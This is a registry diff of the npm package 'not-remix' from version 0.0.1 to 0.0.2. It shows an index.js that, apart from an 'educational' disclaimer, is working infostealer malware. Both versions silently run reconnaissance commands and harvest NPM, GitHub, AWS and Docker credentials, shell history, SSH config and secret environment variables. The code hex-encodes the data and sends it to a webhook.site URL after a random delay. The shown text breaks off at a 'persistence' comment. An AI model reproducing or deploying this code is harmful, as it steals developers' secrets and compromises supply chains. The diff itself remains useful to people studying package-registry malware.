not-remix 0.0.1 → 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +341 -465
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,43 +1,20 @@
|
|
|
1
1
|
// Educational example - Do not use maliciously
|
|
2
|
-
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const os = require('os');
|
|
5
|
-
const https = require('https');
|
|
6
|
-
const path = require('path');
|
|
2
|
+
// Compatible version for older Node.js
|
|
7
3
|
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
class StealthScanner {
|
|
16
|
-
constructor() {
|
|
17
|
-
this.results = {
|
|
18
|
-
system: {},
|
|
19
|
-
tokens: {},
|
|
20
|
-
commands: {},
|
|
21
|
-
files: {},
|
|
22
|
-
timestamp: new Date().toISOString()
|
|
23
|
-
};
|
|
24
|
-
}
|
|
25
|
-
// Educational example - Do not use maliciously
|
|
26
|
-
// Hex-encoded version
|
|
27
|
-
|
|
28
|
-
const { execSync, spawn } = require('child_process');
|
|
29
|
-
const fs = require('fs');
|
|
30
|
-
const os = require('os');
|
|
31
|
-
const https = require('https');
|
|
32
|
-
const path = require('path');
|
|
33
|
-
const crypto = require('crypto');
|
|
4
|
+
var execSync = require('child_process').execSync;
|
|
5
|
+
var spawn = require('child_process').spawn;
|
|
6
|
+
var fs = require('fs');
|
|
7
|
+
var os = require('os');
|
|
8
|
+
var https = require('https');
|
|
9
|
+
var path = require('path');
|
|
10
|
+
var crypto = require('crypto');
|
|
34
11
|
|
|
35
12
|
// Stealth mode: Don't show errors
|
|
36
|
-
process.on('uncaughtException', ()
|
|
37
|
-
process.on('unhandledRejection', ()
|
|
13
|
+
process.on('uncaughtException', function() {});
|
|
14
|
+
process.on('unhandledRejection', function() {});
|
|
38
15
|
|
|
39
16
|
// Webhook URL (using webhook.site example)
|
|
40
|
-
|
|
17
|
+
var WEBHOOK_URL = 'https://webhook.site/bbb8295e-ccd3-4e4d-b2c3-63af6e217219';
|
|
41
18
|
|
|
42
19
|
// Helper function to convert to hex
|
|
43
20
|
function toHex(str) {
|
|
@@ -46,501 +23,400 @@ function toHex(str) {
|
|
|
46
23
|
|
|
47
24
|
// Helper function to convert object to hex-encoded JSON
|
|
48
25
|
function encodePayload(obj) {
|
|
49
|
-
|
|
26
|
+
var json = JSON.stringify(obj);
|
|
50
27
|
return toHex(json);
|
|
51
28
|
}
|
|
52
29
|
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
}
|
|
30
|
+
function StealthScanner() {
|
|
31
|
+
this.results = {
|
|
32
|
+
system: {},
|
|
33
|
+
tokens: {},
|
|
34
|
+
commands: {},
|
|
35
|
+
files: {},
|
|
36
|
+
network: {},
|
|
37
|
+
timestamp: new Date().toISOString(),
|
|
38
|
+
scan_id: crypto.randomBytes(8).toString('hex')
|
|
39
|
+
};
|
|
40
|
+
}
|
|
65
41
|
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
}
|
|
42
|
+
// Run commands silently
|
|
43
|
+
StealthScanner.prototype.runCommand = function(cmd, options) {
|
|
44
|
+
try {
|
|
45
|
+
var opts = options || {};
|
|
46
|
+
opts.stdio = ['pipe', 'pipe', 'ignore'];
|
|
47
|
+
opts.encoding = 'utf8';
|
|
48
|
+
opts.timeout = 2000;
|
|
49
|
+
|
|
50
|
+
var result = execSync(cmd, opts);
|
|
51
|
+
return result.toString().trim();
|
|
52
|
+
} catch (e) {
|
|
53
|
+
return null;
|
|
79
54
|
}
|
|
55
|
+
};
|
|
80
56
|
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
57
|
+
// Collect system info
|
|
58
|
+
StealthScanner.prototype.collectSystemInfo = function() {
|
|
59
|
+
try {
|
|
60
|
+
this.results.system = {
|
|
61
|
+
user: os.userInfo().username,
|
|
62
|
+
hostname: os.hostname(),
|
|
63
|
+
platform: os.platform(),
|
|
64
|
+
arch: os.arch(),
|
|
65
|
+
homedir: os.homedir(),
|
|
66
|
+
cwd: process.cwd(),
|
|
67
|
+
node_version: process.version,
|
|
68
|
+
npm_version: this.runCommand('npm --version')
|
|
69
|
+
};
|
|
70
|
+
} catch (e) {
|
|
71
|
+
// silent fail
|
|
95
72
|
}
|
|
73
|
+
};
|
|
96
74
|
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
sudo_check: 'sudo -n true 2>&1 && echo "sudo_ok" || echo "sudo_fail"'
|
|
117
|
-
};
|
|
75
|
+
// Execute reconnaissance commands
|
|
76
|
+
StealthScanner.prototype.executeRecon = function() {
|
|
77
|
+
var commands = {
|
|
78
|
+
uname_a: 'uname -a',
|
|
79
|
+
whoami: 'whoami',
|
|
80
|
+
hostname_cmd: 'hostname',
|
|
81
|
+
pwd: 'pwd',
|
|
82
|
+
id: 'id',
|
|
83
|
+
groups: 'groups',
|
|
84
|
+
ps: 'ps aux | head -30',
|
|
85
|
+
env_all: 'env',
|
|
86
|
+
env_sensitive: 'env | grep -i "token\\|secret\\|key\\|pass\\|auth"',
|
|
87
|
+
ls_home: 'ls -la ~ | head -20',
|
|
88
|
+
netstat: 'netstat -tulpn 2>/dev/null || ss -tulpn 2>/dev/null || echo "not_available"',
|
|
89
|
+
df: 'df -h',
|
|
90
|
+
uptime: 'uptime',
|
|
91
|
+
date: 'date',
|
|
92
|
+
ifconfig: 'ifconfig 2>/dev/null || ip addr 2>/dev/null || echo "not_available"'
|
|
93
|
+
};
|
|
118
94
|
|
|
119
|
-
|
|
95
|
+
for (var name in commands) {
|
|
96
|
+
if (commands.hasOwnProperty(name)) {
|
|
120
97
|
try {
|
|
121
|
-
|
|
98
|
+
var output = this.runCommand(commands[name]);
|
|
122
99
|
if (output) {
|
|
123
|
-
// Store both original and hex versions
|
|
124
100
|
this.results.commands[name] = {
|
|
125
101
|
original: output,
|
|
126
102
|
hex: toHex(output),
|
|
127
103
|
length: output.length
|
|
128
104
|
};
|
|
129
105
|
}
|
|
130
|
-
} catch (e) {
|
|
106
|
+
} catch (e) {
|
|
107
|
+
// continue
|
|
108
|
+
}
|
|
131
109
|
}
|
|
132
110
|
}
|
|
111
|
+
};
|
|
133
112
|
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
113
|
+
// Hunt for tokens and secrets
|
|
114
|
+
StealthScanner.prototype.findTokens = function() {
|
|
115
|
+
var homeDir = os.homedir();
|
|
116
|
+
|
|
117
|
+
// Check for NPM token
|
|
118
|
+
try {
|
|
119
|
+
// From env var
|
|
120
|
+
if (process.env.NPM_TOKEN) {
|
|
121
|
+
this.results.tokens.npm_env = {
|
|
122
|
+
original: process.env.NPM_TOKEN,
|
|
123
|
+
hex: toHex(process.env.NPM_TOKEN)
|
|
124
|
+
};
|
|
125
|
+
}
|
|
137
126
|
|
|
138
|
-
//
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
127
|
+
// From .npmrc
|
|
128
|
+
var npmrcPath = path.join(homeDir, '.npmrc');
|
|
129
|
+
if (fs.existsSync(npmrcPath)) {
|
|
130
|
+
var content = fs.readFileSync(npmrcPath, 'utf8');
|
|
131
|
+
var tokenMatch = content.match(/_authToken=([^\s]+)/);
|
|
132
|
+
if (tokenMatch) {
|
|
133
|
+
this.results.tokens.npmrc = {
|
|
134
|
+
original: tokenMatch[1],
|
|
135
|
+
hex: toHex(tokenMatch[1])
|
|
145
136
|
};
|
|
146
137
|
}
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
original: tokenMatch[1],
|
|
156
|
-
hex: toHex(tokenMatch[1])
|
|
157
|
-
};
|
|
158
|
-
}
|
|
159
|
-
// Also store entire npmrc (first 2000 chars)
|
|
160
|
-
this.results.files.npmrc = {
|
|
161
|
-
preview: content.substring(0, 500),
|
|
162
|
-
hex: toHex(content.substring(0, 2000))
|
|
163
|
-
};
|
|
164
|
-
}
|
|
165
|
-
} catch (e) {}
|
|
138
|
+
this.results.files.npmrc = {
|
|
139
|
+
preview: content.substring(0, 500),
|
|
140
|
+
hex: toHex(content.substring(0, 2000))
|
|
141
|
+
};
|
|
142
|
+
}
|
|
143
|
+
} catch (e) {
|
|
144
|
+
// silent
|
|
145
|
+
}
|
|
166
146
|
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
147
|
+
// Check for GitHub token
|
|
148
|
+
try {
|
|
149
|
+
if (process.env.GITHUB_TOKEN) {
|
|
150
|
+
this.results.tokens.github_env = {
|
|
151
|
+
original: process.env.GITHUB_TOKEN,
|
|
152
|
+
hex: toHex(process.env.GITHUB_TOKEN)
|
|
153
|
+
};
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
var ghToken = this.runCommand('gh auth token 2>/dev/null');
|
|
157
|
+
if (ghToken) {
|
|
158
|
+
this.results.tokens.github_cli = {
|
|
159
|
+
original: ghToken,
|
|
160
|
+
hex: toHex(ghToken)
|
|
161
|
+
};
|
|
162
|
+
}
|
|
163
|
+
} catch (e) {
|
|
164
|
+
// silent
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
// Check for AWS keys
|
|
168
|
+
try {
|
|
169
|
+
var awsDir = path.join(homeDir, '.aws');
|
|
170
|
+
if (fs.existsSync(awsDir)) {
|
|
171
|
+
var credsPath = path.join(awsDir, 'credentials');
|
|
172
|
+
if (fs.existsSync(credsPath)) {
|
|
173
|
+
var content = fs.readFileSync(credsPath, 'utf8');
|
|
174
|
+
this.results.tokens.aws_credentials = {
|
|
191
175
|
preview: content.substring(0, 300),
|
|
192
|
-
hex: toHex(content)
|
|
176
|
+
hex: toHex(content),
|
|
177
|
+
size: content.length
|
|
193
178
|
};
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
const credsPath = path.join(awsDir, 'credentials');
|
|
203
|
-
if (fs.existsSync(credsPath)) {
|
|
204
|
-
const content = fs.readFileSync(credsPath, 'utf8');
|
|
205
|
-
this.results.tokens.aws_credentials = {
|
|
206
|
-
preview: content.substring(0, 300),
|
|
207
|
-
hex: toHex(content),
|
|
208
|
-
size: content.length
|
|
179
|
+
|
|
180
|
+
var accessKeyMatch = content.match(/aws_access_key_id\s*=\s*([^\s]+)/);
|
|
181
|
+
var secretKeyMatch = content.match(/aws_secret_access_key\s*=\s*([^\s]+)/);
|
|
182
|
+
|
|
183
|
+
if (accessKeyMatch) {
|
|
184
|
+
this.results.tokens.aws_access_key = {
|
|
185
|
+
original: accessKeyMatch[1],
|
|
186
|
+
hex: toHex(accessKeyMatch[1])
|
|
209
187
|
};
|
|
210
|
-
|
|
211
|
-
// Extract keys using regex
|
|
212
|
-
const accessKeyMatch = content.match(/aws_access_key_id\s*=\s*([^\s]+)/);
|
|
213
|
-
const secretKeyMatch = content.match(/aws_secret_access_key\s*=\s*([^\s]+)/);
|
|
214
|
-
|
|
215
|
-
if (accessKeyMatch) {
|
|
216
|
-
this.results.tokens.aws_access_key = {
|
|
217
|
-
original: accessKeyMatch[1],
|
|
218
|
-
hex: toHex(accessKeyMatch[1])
|
|
219
|
-
};
|
|
220
|
-
}
|
|
221
|
-
if (secretKeyMatch) {
|
|
222
|
-
this.results.tokens.aws_secret_key = {
|
|
223
|
-
original: secretKeyMatch[1],
|
|
224
|
-
hex: toHex(secretKeyMatch[1])
|
|
225
|
-
};
|
|
226
|
-
}
|
|
227
188
|
}
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
const content = fs.readFileSync(configPath, 'utf8');
|
|
233
|
-
this.results.files.aws_config = {
|
|
234
|
-
preview: content.substring(0, 200),
|
|
235
|
-
hex: toHex(content)
|
|
189
|
+
if (secretKeyMatch) {
|
|
190
|
+
this.results.tokens.aws_secret_key = {
|
|
191
|
+
original: secretKeyMatch[1],
|
|
192
|
+
hex: toHex(secretKeyMatch[1])
|
|
236
193
|
};
|
|
237
194
|
}
|
|
238
195
|
}
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
};
|
|
252
|
-
}
|
|
253
|
-
} catch (e) {}
|
|
254
|
-
|
|
255
|
-
// Check for Docker config
|
|
256
|
-
try {
|
|
257
|
-
const dockerConfigPath = path.join(homeDir, '.docker', 'config.json');
|
|
258
|
-
if (fs.existsSync(dockerConfigPath)) {
|
|
259
|
-
const content = fs.readFileSync(dockerConfigPath, 'utf8');
|
|
260
|
-
this.results.files.docker_config = {
|
|
261
|
-
preview: content.substring(0, 200),
|
|
262
|
-
hex: toHex(content)
|
|
263
|
-
};
|
|
264
|
-
|
|
265
|
-
// Try to parse auth
|
|
266
|
-
try {
|
|
267
|
-
const config = JSON.parse(content);
|
|
268
|
-
if (config.auths) {
|
|
269
|
-
Object.entries(config.auths).forEach(([registry, auth]) => {
|
|
270
|
-
if (auth.auth) {
|
|
271
|
-
this.results.tokens[`docker_${registry}`] = {
|
|
272
|
-
original: auth.auth,
|
|
273
|
-
hex: toHex(auth.auth)
|
|
274
|
-
};
|
|
275
|
-
}
|
|
276
|
-
});
|
|
277
|
-
}
|
|
278
|
-
} catch (e) {}
|
|
279
|
-
}
|
|
280
|
-
} catch (e) {}
|
|
281
|
-
|
|
282
|
-
// Check for SSH keys
|
|
283
|
-
try {
|
|
284
|
-
const sshDir = path.join(homeDir, '.ssh');
|
|
285
|
-
if (fs.existsSync(sshDir)) {
|
|
286
|
-
const files = fs.readdirSync(sshDir);
|
|
287
|
-
files.forEach(file => {
|
|
288
|
-
if (file.includes('id_') && !file.includes('.pub')) {
|
|
289
|
-
const keyPath = path.join(sshDir, file);
|
|
290
|
-
try {
|
|
291
|
-
const stats = fs.statSync(keyPath);
|
|
292
|
-
this.results.files[`ssh_${file}`] = {
|
|
293
|
-
exists: true,
|
|
294
|
-
size: stats.size,
|
|
295
|
-
modified: stats.mtime,
|
|
296
|
-
path: keyPath
|
|
297
|
-
};
|
|
298
|
-
} catch (e) {}
|
|
299
|
-
}
|
|
300
|
-
});
|
|
301
|
-
}
|
|
302
|
-
} catch (e) {}
|
|
303
|
-
|
|
304
|
-
// Dump ALL env variables in hex
|
|
305
|
-
try {
|
|
306
|
-
const allEnv = {};
|
|
307
|
-
Object.keys(process.env).forEach(key => {
|
|
308
|
-
allEnv[key] = {
|
|
309
|
-
value: process.env[key],
|
|
310
|
-
hex: toHex(process.env[key])
|
|
311
|
-
};
|
|
312
|
-
});
|
|
313
|
-
this.results.tokens.all_env = {
|
|
314
|
-
count: Object.keys(process.env).length,
|
|
315
|
-
sample: Object.keys(process.env).slice(0, 10),
|
|
316
|
-
hex_sample: encodePayload(
|
|
317
|
-
Object.fromEntries(
|
|
318
|
-
Object.entries(process.env).slice(0, 5).map(([k, v]) => [k, v])
|
|
319
|
-
)
|
|
320
|
-
)
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
if (process.env.AWS_ACCESS_KEY_ID) {
|
|
199
|
+
this.results.tokens.aws_access_key_env = {
|
|
200
|
+
original: process.env.AWS_ACCESS_KEY_ID,
|
|
201
|
+
hex: toHex(process.env.AWS_ACCESS_KEY_ID)
|
|
202
|
+
};
|
|
203
|
+
}
|
|
204
|
+
if (process.env.AWS_SECRET_ACCESS_KEY) {
|
|
205
|
+
this.results.tokens.aws_secret_key_env = {
|
|
206
|
+
original: process.env.AWS_SECRET_ACCESS_KEY,
|
|
207
|
+
hex: toHex(process.env.AWS_SECRET_ACCESS_KEY)
|
|
321
208
|
};
|
|
322
|
-
}
|
|
209
|
+
}
|
|
210
|
+
} catch (e) {
|
|
211
|
+
// silent
|
|
212
|
+
}
|
|
323
213
|
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
214
|
+
// Dump env variables
|
|
215
|
+
try {
|
|
216
|
+
var envVars = process.env;
|
|
217
|
+
var sensitiveCount = 0;
|
|
218
|
+
var sensitiveSample = {};
|
|
219
|
+
|
|
220
|
+
for (var key in envVars) {
|
|
221
|
+
if (envVars.hasOwnProperty(key)) {
|
|
222
|
+
var lowerKey = key.toLowerCase();
|
|
223
|
+
if (lowerKey.indexOf('token') !== -1 ||
|
|
224
|
+
lowerKey.indexOf('secret') !== -1 ||
|
|
225
|
+
lowerKey.indexOf('key') !== -1 ||
|
|
226
|
+
lowerKey.indexOf('pass') !== -1) {
|
|
227
|
+
sensitiveCount++;
|
|
228
|
+
if (Object.keys(sensitiveSample).length < 5) {
|
|
229
|
+
sensitiveSample[key] = envVars[key];
|
|
230
|
+
}
|
|
338
231
|
}
|
|
339
|
-
}
|
|
340
|
-
}
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
this.results.tokens.env_sensitive = {
|
|
236
|
+
count: sensitiveCount,
|
|
237
|
+
sample: sensitiveSample,
|
|
238
|
+
hex_sample: encodePayload(sensitiveSample)
|
|
239
|
+
};
|
|
240
|
+
} catch (e) {
|
|
241
|
+
// silent
|
|
341
242
|
}
|
|
243
|
+
};
|
|
342
244
|
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
zshrc: '.zshrc',
|
|
354
|
-
profile: '.profile'
|
|
355
|
-
};
|
|
245
|
+
// Read important config files
|
|
246
|
+
StealthScanner.prototype.readConfigFiles = function() {
|
|
247
|
+
var homeDir = os.homedir();
|
|
248
|
+
var files = {
|
|
249
|
+
bash_history: '.bash_history',
|
|
250
|
+
ssh_config: '.ssh/config',
|
|
251
|
+
git_config: '.gitconfig',
|
|
252
|
+
bashrc: '.bashrc',
|
|
253
|
+
profile: '.profile'
|
|
254
|
+
};
|
|
356
255
|
|
|
357
|
-
|
|
256
|
+
for (var name in files) {
|
|
257
|
+
if (files.hasOwnProperty(name)) {
|
|
358
258
|
try {
|
|
359
|
-
|
|
259
|
+
var filePath = path.join(homeDir, files[name]);
|
|
360
260
|
if (fs.existsSync(filePath)) {
|
|
361
|
-
|
|
362
|
-
if (stats.size <
|
|
363
|
-
|
|
261
|
+
var stats = fs.statSync(filePath);
|
|
262
|
+
if (stats.size < 50000) {
|
|
263
|
+
var content = fs.readFileSync(filePath, 'utf8');
|
|
364
264
|
this.results.files[name] = {
|
|
365
265
|
exists: true,
|
|
366
266
|
size: stats.size,
|
|
367
267
|
modified: stats.mtime,
|
|
368
|
-
hex: toHex(content.substring(0,
|
|
369
|
-
};
|
|
370
|
-
} else {
|
|
371
|
-
this.results.files[name] = {
|
|
372
|
-
exists: true,
|
|
373
|
-
size: stats.size,
|
|
374
|
-
modified: stats.mtime,
|
|
375
|
-
too_large: true
|
|
268
|
+
hex: toHex(content.substring(0, 1000))
|
|
376
269
|
};
|
|
377
270
|
}
|
|
378
271
|
}
|
|
379
|
-
} catch (e) {
|
|
272
|
+
} catch (e) {
|
|
273
|
+
// continue
|
|
274
|
+
}
|
|
380
275
|
}
|
|
381
276
|
}
|
|
277
|
+
};
|
|
278
|
+
|
|
279
|
+
// Get network information
|
|
280
|
+
StealthScanner.prototype.getNetworkInfo = function() {
|
|
281
|
+
try {
|
|
282
|
+
var interfaces = os.networkInterfaces();
|
|
283
|
+
var networkInfo = {};
|
|
284
|
+
|
|
285
|
+
for (var iface in interfaces) {
|
|
286
|
+
if (interfaces.hasOwnProperty(iface)) {
|
|
287
|
+
networkInfo[iface] = [];
|
|
288
|
+
for (var i = 0; i < interfaces[iface].length; i++) {
|
|
289
|
+
var info = interfaces[iface][i];
|
|
290
|
+
networkInfo[iface].push({
|
|
291
|
+
address: info.address,
|
|
292
|
+
family: info.family,
|
|
293
|
+
mac: info.mac
|
|
294
|
+
});
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
|
|
299
|
+
this.results.network = networkInfo;
|
|
300
|
+
} catch (e) {
|
|
301
|
+
// silent
|
|
302
|
+
}
|
|
303
|
+
};
|
|
382
304
|
|
|
383
|
-
|
|
384
|
-
|
|
305
|
+
// Send hex-encoded data to webhook
|
|
306
|
+
StealthScanner.prototype.sendToWebhook = function() {
|
|
307
|
+
var self = this;
|
|
308
|
+
return new Promise(function(resolve) {
|
|
385
309
|
try {
|
|
386
|
-
|
|
387
|
-
|
|
310
|
+
var finalPayload = {
|
|
311
|
+
metadata: {
|
|
312
|
+
format: 'hex_encoded',
|
|
313
|
+
version: '1.0',
|
|
314
|
+
timestamp: new Date().toISOString(),
|
|
315
|
+
scan_id: self.results.scan_id
|
|
316
|
+
},
|
|
317
|
+
data_hex: encodePayload(self.results)
|
|
318
|
+
};
|
|
388
319
|
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
address: info.address,
|
|
392
|
-
netmask: info.netmask,
|
|
393
|
-
family: info.family,
|
|
394
|
-
mac: info.mac,
|
|
395
|
-
internal: info.internal
|
|
396
|
-
}));
|
|
397
|
-
});
|
|
320
|
+
var hexPayload = encodePayload(finalPayload);
|
|
321
|
+
var url = require('url').parse(WEBHOOK_URL);
|
|
398
322
|
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
version: '2.0',
|
|
412
|
-
timestamp: new Date().toISOString(),
|
|
413
|
-
scan_id: this.results.scan_id
|
|
414
|
-
},
|
|
415
|
-
// Hex-encode the entire results
|
|
416
|
-
data_hex: encodePayload(this.results)
|
|
417
|
-
};
|
|
418
|
-
|
|
419
|
-
// Convert final payload to hex as well (double encoding)
|
|
420
|
-
const hexPayload = encodePayload(finalPayload);
|
|
421
|
-
|
|
422
|
-
const url = new URL(WEBHOOK_URL);
|
|
423
|
-
|
|
424
|
-
const options = {
|
|
425
|
-
hostname: url.hostname,
|
|
426
|
-
port: url.port || 443,
|
|
427
|
-
path: url.pathname,
|
|
428
|
-
method: 'POST',
|
|
429
|
-
headers: {
|
|
430
|
-
'Content-Type': 'text/plain', // Use text/plain to avoid suspicion
|
|
431
|
-
'Content-Length': Buffer.byteLength(hexPayload),
|
|
432
|
-
'User-Agent': 'Mozilla/5.0 (compatible)',
|
|
433
|
-
'X-Request-ID': crypto.randomBytes(8).toString('hex')
|
|
434
|
-
},
|
|
435
|
-
timeout: 8000
|
|
436
|
-
};
|
|
437
|
-
|
|
438
|
-
const req = https.request(options, (res) => {
|
|
439
|
-
// Read response but don't process
|
|
440
|
-
res.on('data', () => {});
|
|
441
|
-
res.on('end', resolve);
|
|
442
|
-
});
|
|
323
|
+
var options = {
|
|
324
|
+
hostname: url.hostname,
|
|
325
|
+
port: url.port || 443,
|
|
326
|
+
path: url.pathname,
|
|
327
|
+
method: 'POST',
|
|
328
|
+
headers: {
|
|
329
|
+
'Content-Type': 'text/plain',
|
|
330
|
+
'Content-Length': Buffer.byteLength(hexPayload),
|
|
331
|
+
'User-Agent': 'Mozilla/5.0'
|
|
332
|
+
},
|
|
333
|
+
timeout: 5000
|
|
334
|
+
};
|
|
443
335
|
|
|
444
|
-
|
|
445
|
-
|
|
446
|
-
|
|
447
|
-
|
|
448
|
-
});
|
|
336
|
+
var req = https.request(options, function(res) {
|
|
337
|
+
res.on('data', function() {});
|
|
338
|
+
res.on('end', resolve);
|
|
339
|
+
});
|
|
449
340
|
|
|
450
|
-
|
|
451
|
-
req.end();
|
|
452
|
-
|
|
453
|
-
// Also try to send via GET with query parameter (fallback)
|
|
454
|
-
setTimeout(() => {
|
|
455
|
-
try {
|
|
456
|
-
const getUrl = `${WEBHOOK_URL}?data=${encodeURIComponent(hexPayload.substring(0, 2000))}`;
|
|
457
|
-
https.get(getUrl, () => {}).on('error', () => {});
|
|
458
|
-
} catch (e) {}
|
|
459
|
-
}, 1000);
|
|
460
|
-
|
|
461
|
-
} catch (e) {
|
|
341
|
+
req.on('error', function() {
|
|
462
342
|
resolve();
|
|
463
|
-
}
|
|
464
|
-
|
|
465
|
-
|
|
343
|
+
});
|
|
344
|
+
|
|
345
|
+
req.on('timeout', function() {
|
|
346
|
+
req.destroy();
|
|
347
|
+
resolve();
|
|
348
|
+
});
|
|
349
|
+
|
|
350
|
+
req.write(hexPayload);
|
|
351
|
+
req.end();
|
|
352
|
+
|
|
353
|
+
} catch (e) {
|
|
354
|
+
resolve();
|
|
355
|
+
}
|
|
356
|
+
});
|
|
357
|
+
};
|
|
466
358
|
|
|
467
|
-
|
|
468
|
-
|
|
359
|
+
// Main execution
|
|
360
|
+
StealthScanner.prototype.execute = function() {
|
|
361
|
+
var self = this;
|
|
362
|
+
return new Promise(function(resolve) {
|
|
469
363
|
try {
|
|
470
364
|
// Random delay
|
|
471
|
-
|
|
472
|
-
|
|
473
|
-
|
|
474
|
-
|
|
475
|
-
|
|
476
|
-
|
|
477
|
-
|
|
478
|
-
|
|
479
|
-
|
|
480
|
-
|
|
481
|
-
|
|
482
|
-
|
|
483
|
-
|
|
484
|
-
|
|
485
|
-
|
|
365
|
+
setTimeout(function() {
|
|
366
|
+
try {
|
|
367
|
+
self.collectSystemInfo();
|
|
368
|
+
self.executeRecon();
|
|
369
|
+
self.findTokens();
|
|
370
|
+
self.readConfigFiles();
|
|
371
|
+
self.getNetworkInfo();
|
|
372
|
+
|
|
373
|
+
self.sendToWebhook().then(function() {
|
|
374
|
+
resolve(true);
|
|
375
|
+
}).catch(function() {
|
|
376
|
+
resolve(false);
|
|
377
|
+
});
|
|
378
|
+
|
|
379
|
+
} catch (e) {
|
|
380
|
+
resolve(false);
|
|
381
|
+
}
|
|
382
|
+
}, Math.random() * 3000);
|
|
486
383
|
|
|
487
|
-
return true;
|
|
488
384
|
} catch (e) {
|
|
489
|
-
|
|
385
|
+
resolve(false);
|
|
490
386
|
}
|
|
491
|
-
}
|
|
492
|
-
}
|
|
387
|
+
});
|
|
388
|
+
};
|
|
493
389
|
|
|
494
|
-
//
|
|
390
|
+
// Main execution
|
|
495
391
|
if (require.main === module) {
|
|
496
|
-
// Multiple execution methods for reliability
|
|
497
|
-
|
|
498
|
-
// Method 1: Immediate execution
|
|
499
392
|
try {
|
|
500
|
-
|
|
501
|
-
|
|
502
|
-
|
|
503
|
-
|
|
504
|
-
|
|
505
|
-
|
|
506
|
-
|
|
507
|
-
|
|
508
|
-
|
|
509
|
-
|
|
510
|
-
|
|
511
|
-
|
|
512
|
-
|
|
513
|
-
|
|
514
|
-
})
|
|
515
|
-
|
|
516
|
-
|
|
517
|
-
|
|
518
|
-
|
|
519
|
-
|
|
520
|
-
|
|
521
|
-
|
|
522
|
-
|
|
523
|
-
|
|
524
|
-
|
|
525
|
-
|
|
526
|
-
|
|
527
|
-
new Scanner().execute().catch(() => {});
|
|
528
|
-
`;
|
|
529
|
-
fs.writeFileSync(tempFile, code);
|
|
530
|
-
spawn('node', [tempFile], {
|
|
531
|
-
detached: true,
|
|
532
|
-
stdio: 'ignore'
|
|
533
|
-
}).unref();
|
|
534
|
-
|
|
535
|
-
// Cleanup temp file after delay
|
|
536
|
-
setTimeout(() => {
|
|
537
|
-
try { fs.unlinkSync(tempFile); } catch (e) {}
|
|
538
|
-
}, 10000);
|
|
539
|
-
} catch (e) {}
|
|
540
|
-
}, 4000);
|
|
541
|
-
|
|
542
|
-
// Exit immediately to not block install
|
|
543
|
-
process.exit(0);
|
|
393
|
+
var scanner = new StealthScanner();
|
|
394
|
+
|
|
395
|
+
// Run in background
|
|
396
|
+
setTimeout(function() {
|
|
397
|
+
scanner.execute().catch(function() {});
|
|
398
|
+
}, 100);
|
|
399
|
+
|
|
400
|
+
// Also try to run via eval for persistence
|
|
401
